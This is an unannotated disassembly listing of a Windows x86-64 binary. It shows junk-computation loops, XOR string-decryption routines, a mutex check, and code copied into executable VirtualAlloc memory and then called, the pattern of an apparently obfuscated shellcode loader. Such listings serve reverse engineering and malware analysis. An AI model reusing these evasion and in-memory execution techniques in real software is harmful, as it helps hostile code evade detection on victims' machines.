mov rcx, qword [sym.imp.KERNEL32.dll_GetLastError]
call r8
nop
mov rdx, qword [rsp + 0x170]
xor rdx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rdx
mov rcx, qword [rsp + 0x180]
mov qword [rcx], rdx
cmp eax, 0xb7
jne 0x14001eff7
mov qword [0], rsi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rsp + 0x280]
call fcn.140025220
mov dword [rsp + 0x150], 0xffffff9c
mov dword [rsp + 0x154], 0x64
movdqa xmm0, xmmword [0x140037310]
movups xmmword [rsp + 0x160], xmm0
mov dword [rsp + 0x40], esi
xorps xmm0, xmm0
movsd qword [rsp + 0x148], xmm0
lea rcx, [rsp + 0x48]
call fcn.140001660
mov qword [rsp + 0x60], 0x64
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x50]
call fcn.140027000
lea rcx, [rsp + 0x190]
call fcn.140002530
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x190], xmm1
mov qword [rsp + 0x1a0], rsi
lea rcx, [rsp + 0x60]
call fcn.140027020
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140025120
nop
lea rcx, [rsp + 0x48]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x60]
call fcn.1400250e0
lea rcx, [rsp + 0x60]
call fcn.140027070
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140025120
nop
lea rcx, [rsp + 0x48]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x60]
call fcn.1400250e0
lea rcx, [rsp + 0x60]
call fcn.1400270a0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140025120
nop
lea rcx, [rsp + 0x48]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x60]
call fcn.1400250e0
lea rcx, [rsp + 0x60]
call fcn.1400270d0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140025120
nop
lea rcx, [rsp + 0x48]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x60]
call fcn.1400250e0
lea rcx, [rsp + 0x60]
call fcn.140027100
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140025120
nop
lea rcx, [rsp + 0x48]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x60]
call fcn.1400250e0
lea rcx, [rsp + 0x60]
call fcn.140027130
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140025120
nop
lea rcx, [rsp + 0x48]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x60]
call fcn.1400250e0
lea rcx, [rsp + 0x60]
call fcn.140001660
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.1400024d0
test al, al
jns 0x14001efe1
movsd xmm7, qword [0x140037270]
movsd xmm6, qword [0x140037268]
nop word [rax + rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026f50
mov rbx, qword [rsp + 0x198]
sub rbx, qword [rsp + 0x190]
sar rbx, 3
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026f50
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0x190]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026f50
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027160
movaps xmm5, xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027160
movaps xmm1, xmm5
call fcn.140002380
movsd xmm1, qword [rsp + 0x148]
addsd xmm0, xmm1
movsd qword [rsp + 0x148], xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027160
movaps xmm1, xmm7
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x148]
subsd xmm1, xmm0
movsd qword [rsp + 0x148], xmm1
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027160
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x148]
movsd qword [rsp + 0x148], xmm0
lea rdx, [0x14003597c]
lea rcx, [rsp + 0x200]
call fcn.140026200
nop
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x200]
call fcn.1400022f0
lea rcx, [rsp + 0x1b0]
call fcn.140002530
lea rcx, [rsp + 0x1b0]
call fcn.1400252f0
nop
lea rax, [rsp + 0x150]
mov qword [rsp + 0x1d0], rax
lea rax, [rsp + 0x280]
mov qword [rsp + 0x1d8], rax
movaps xmm0, xmmword [rsp + 0x1d0]
movdqa xmmword [rsp + 0x70], xmm0
lea r8, [rsp + 0x70]
mov rdx, qword [rsp + 0x1b8]
mov rcx, qword [rsp + 0x1b0]
call fcn.1400271f0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1b0]
call fcn.140002400
mov rdx, qword [rsp + 0x1b8]
mov rcx, qword [rsp + 0x1b0]
call fcn.140027250
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026f50
mov ebx, eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026f50
mov r8d, ebx
mov edx, eax
call fcn.140002500
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
test al, 1
jne 0x14001eec4
call fcn.140026f50
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14001eed3
call fcn.140026f50
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov edi, 5
nop dword [rax + rax]
xor ebx, ebx
nop dword [rax]
nop word [rax + rax]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026f50
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027160
movsd xmm5, qword [rsp + 0x148]
addsd xmm0, xmm5
movsd qword [rsp + 0x148], xmm0
lea rdx, [rsp + 0x280]
test bl, 1
jne 0x14001ef61
lea rcx, [rsp + 0x150]
call fcn.140026f50
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14001ef88
movsd xmm5, qword [rsp + 0x148]
lea rcx, [rsp + 0x160]
call fcn.140027160
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x148], xmm5
inc ebx
cmp ebx, 5
jl 0x14001eef0
sub rdi, 1
jne 0x14001eee0
lea rcx, [rsp + 0x1b0]
call fcn.140025290
nop
lea rcx, [rsp + 0x200]
call fcn.1400261a0
sub rsi, 1
jne 0x14001ec70
lea rcx, [rsp + 0x60]
call fcn.140001660
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.1400024d0
test al, al
js 0x14001ec60
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0x190]
call fcn.140025150
jmp 0x1400240d1
movsd xmm0, qword [0x140036f30]
movsd qword [rsp + 0x160], xmm0
mov eax, dword [str._8i]
mov dword [rsp + 0x168], eax
movzx eax, byte [0x140036f3c]
mov byte [rsp + 0x16c], al
mov r9d, esi
cmp edi, 2
jl 0x14001f1a4
movdqa xmm3, xmm13
punpckldq xmm3, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm2, xmm3
pmuldq xmm2, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm2, xmm0, 0xdd
psrad xmm2, 5
pmuldq xmm3, xmm12
pmuldq xmm1, xmm12
shufps xmm3, xmm1, 0xdd
psrad xmm3, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm15
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm7
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm6
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140036f30]
xorps xmm2, xmm0
movd dword [rsp + 0x160], xmm2
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
movdqa xmm1, xmm8
punpckhdq xmm1, xmm8
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x164]
xorps xmm2, xmm1
movd dword [rsp + 0x164], xmm2
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x160]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
movzx eax, r9b
add al, al
add cl, 0x51
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xd
jl 0x14001f1c0
lea r8, [0x140043e90]
lea rdx, [rsp + 0x160]
lea rcx, [rsp + 0x220]
call fcn.140027760
mov rcx, rax
call fcn.140025fc0
mov r8, rax
xor edx, edx
mov ecx, 0x1f0001
call qword [sym.imp.KERNEL32.dll_OpenMutexA]
mov r14, rax
lea rcx, [rsp + 0x220]
call fcn.1400261a0
movups xmm0, xmmword [0x140036cf0]
movups xmmword [rsp + 0x1d0], xmm0
movzx ecx, byte [0x140036d00]
mov byte [rsp + 0x1e0], cl
mov r9d, esi
cmp edi, 2
jl 0x14001f41f
movdqa xmmword [rsp + 0x160], xmm6
lea rcx, [rsp + 0x1d4]
mov edx, dword [rsp + 0x160]
nop dword [rax]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm3, xmm4
punpckldq xmm3, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm2, xmm3
pmuldq xmm2, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm2, xmm0, 0xdd
psrad xmm2, 5
pmuldq xmm3, xmm12
pmuldq xmm1, xmm12
shufps xmm3, xmm1, 0xdd
psrad xmm3, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm15
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm7
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x10
jl 0x14001f2a0
cmp r9d, 0x11
jge 0x14001f47f
movsxd rax, r9d
lea r10, [rsp + 0x1d0]
add r10, rax
nop dword [rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
movzx eax, r9b
add al, al
add cl, 0x51
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x11
jl 0x14001f430
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x170]
call fcn.140002530
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002540
nop
mov ecx, esi
mov rax, qword [0x1400418b0]
test rax, rax
je 0x14001f4e9
mov rdx, rsi
cmp rax, r12
je 0x14001f4d8
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x418b0]
test rax, rax
jne 0x14001f4c0
jmp 0x14001f4e9
mov r8, qword [r15 + rdx*8 + 0x40280]
test r8, r8
jne 0x14001f5cf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001f512
mov r8, rsi
jmp 0x14001f5ae
mov rax, r12
mov rcx, r8
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001f520
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140040c00]
mov qword [r15 + rax*8 + 0x418b0], r12
mov qword [r15 + rax*8 + 0x40280], r8
inc rax
mov qword [0x140040c00], rax
lea rdx, [rsp + 0x60]
lea rcx, [0x1400015f0]
call r8
nop
mov rcx, qword [rsp + 0x170]
xor rcx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rsp + 0x280]
call fcn.140025220
mov dword [rsp + 0x150], 0xffffff9c
mov dword [rsp + 0x154], 0x64
movdqa xmm9, xmmword [0x140037310]
movups xmmword [rsp + 0x160], xmm9
mov dword [rsp + 0x40], esi
xorps xmm10, xmm10
movsd qword [rsp + 0x148], xmm10
lea rcx, [rsp + 0x48]
call fcn.140001660
mov qword [rsp + 0x60], 0x64
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x50]
call fcn.140027000
lea rcx, [rsp + 0x190]
call fcn.140002530
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x190], xmm1
mov qword [rsp + 0x1a0], rsi
lea rcx, [rsp + 0x60]
call fcn.140027020
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140025120
nop
lea rcx, [rsp + 0x48]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x60]
call fcn.1400250e0
lea rcx, [rsp + 0x60]
call fcn.140027070
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140025120
nop
lea rcx, [rsp + 0x48]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x60]
call fcn.1400250e0
lea rcx, [rsp + 0x60]
call fcn.1400270a0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140025120
nop
lea rcx, [rsp + 0x48]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x60]
call fcn.1400250e0
lea rcx, [rsp + 0x60]
call fcn.1400270d0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140025120
nop
lea rcx, [rsp + 0x48]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x60]
call fcn.1400250e0
lea rcx, [rsp + 0x60]
call fcn.140027100
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140025120
nop
lea rcx, [rsp + 0x48]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x60]
call fcn.1400250e0
lea rcx, [rsp + 0x60]
call fcn.140027130
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140025120
nop
lea rcx, [rsp + 0x48]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x60]
call fcn.1400250e0
lea rcx, [rsp + 0x60]
call fcn.140001660
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.1400024d0
movsd xmm8, qword [0x140037270]
movsd xmm6, qword [0x140037268]
test al, al
jns 0x14001fbc7
nop dword [rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026f50
mov rbx, qword [rsp + 0x198]
sub rbx, qword [rsp + 0x190]
sar rbx, 3
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026f50
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0x190]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026f50
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027160
movaps xmm5, xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027160
movaps xmm1, xmm5
call fcn.140002380
movsd xmm1, qword [rsp + 0x148]
addsd xmm0, xmm1
movsd qword [rsp + 0x148], xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027160
movaps xmm1, xmm8
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x148]
subsd xmm1, xmm0
movsd qword [rsp + 0x148], xmm1
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027160
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x148]
movsd qword [rsp + 0x148], xmm0
lea rdx, [0x14003597c]
lea rcx, [rsp + 0x200]
call fcn.140026200
nop
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x200]
call fcn.1400022f0
lea rcx, [rsp + 0x1b0]
call fcn.140002530
lea rcx, [rsp + 0x1b0]
call fcn.1400252f0
nop
lea rax, [rsp + 0x150]
mov qword [rsp + 0x1d0], rax
lea rax, [rsp + 0x280]
mov qword [rsp + 0x1d8], rax
movaps xmm0, xmmword [rsp + 0x1d0]
movdqa xmmword [rsp + 0x70], xmm0
lea r8, [rsp + 0x70]
mov rdx, qword [rsp + 0x1b8]
mov rcx, qword [rsp + 0x1b0]
call fcn.1400271f0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1b0]
call fcn.140002400
mov rdx, qword [rsp + 0x1b8]
mov rcx, qword [rsp + 0x1b0]
call fcn.140027250
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026f50
mov ebx, eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026f50
mov r8d, ebx
mov edx, eax
call fcn.140002500
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
test al, 1
jne 0x14001faa5
call fcn.140026f50
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14001fab4
call fcn.140026f50
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov edi, 5
nop dword [rax]
xor ebx, ebx
nop dword [rax]
nop word [rax + rax]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026f50
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027160
movsd xmm5, qword [rsp + 0x148]
addsd xmm0, xmm5
movsd qword [rsp + 0x148], xmm0
lea rdx, [rsp + 0x280]
test bl, 1
jne 0x14001fb41
lea rcx, [rsp + 0x150]
call fcn.140026f50
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14001fb68
movsd xmm5, qword [rsp + 0x148]
lea rcx, [rsp + 0x160]
call fcn.140027160
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x148], xmm5
inc ebx
cmp ebx, 5
jl 0x14001fad0
sub rdi, 1
jne 0x14001fac0
lea rcx, [rsp + 0x1b0]
call fcn.140025290
nop
lea rcx, [rsp + 0x200]
call fcn.1400261a0
sub rsi, 1
jne 0x14001f850
lea rcx, [rsp + 0x60]
call fcn.140001660
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.1400024d0
test al, al
js 0x14001f840
mov edi, dword [0x14003f090]
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0x190]
call fcn.140025150
test r14, r14
je 0x14001fbeb
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400240d1
movsd xmm0, qword [0x140035fd0]
movsd qword [rsp + 0x160], xmm0
mov eax, dword [0x140035fd8]
mov dword [rsp + 0x168], eax
movzx eax, byte [0x140035fdc]
mov byte [rsp + 0x16c], al
mov r9d, esi
cmp edi, 2
jl 0x14001fd9c
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
mov eax, dword [0x140037330]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140035fd0]
xorps xmm2, xmm0
movd dword [rsp + 0x160], xmm2
movdqa xmm5, xmmword [0x1400372d0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm2, xmm5
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm5
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x164]
xorps xmm2, xmm1
movd dword [rsp + 0x164], xmm2
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x160]
add r10, rax
nop word [rax + rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
movzx eax, r9b
add al, al
add cl, 0x51
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xd
jl 0x14001fdb0
lea rax, [rsp + 0x160]
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x170]
call fcn.140002530
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002540
nop
mov ecx, esi
mov rax, qword [0x1400418b0]
test rax, rax
je 0x14001fe69
mov rdx, rsi
cmp rax, r12
je 0x14001fe58
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x418b0]
test rax, rax
jne 0x14001fe40
jmp 0x14001fe69
mov r8, qword [r15 + rdx*8 + 0x40280]
test r8, r8
jne 0x14001ff4f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001fe92
mov r8, rsi
jmp 0x14001ff2e
mov rax, r12
mov rcx, r8
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
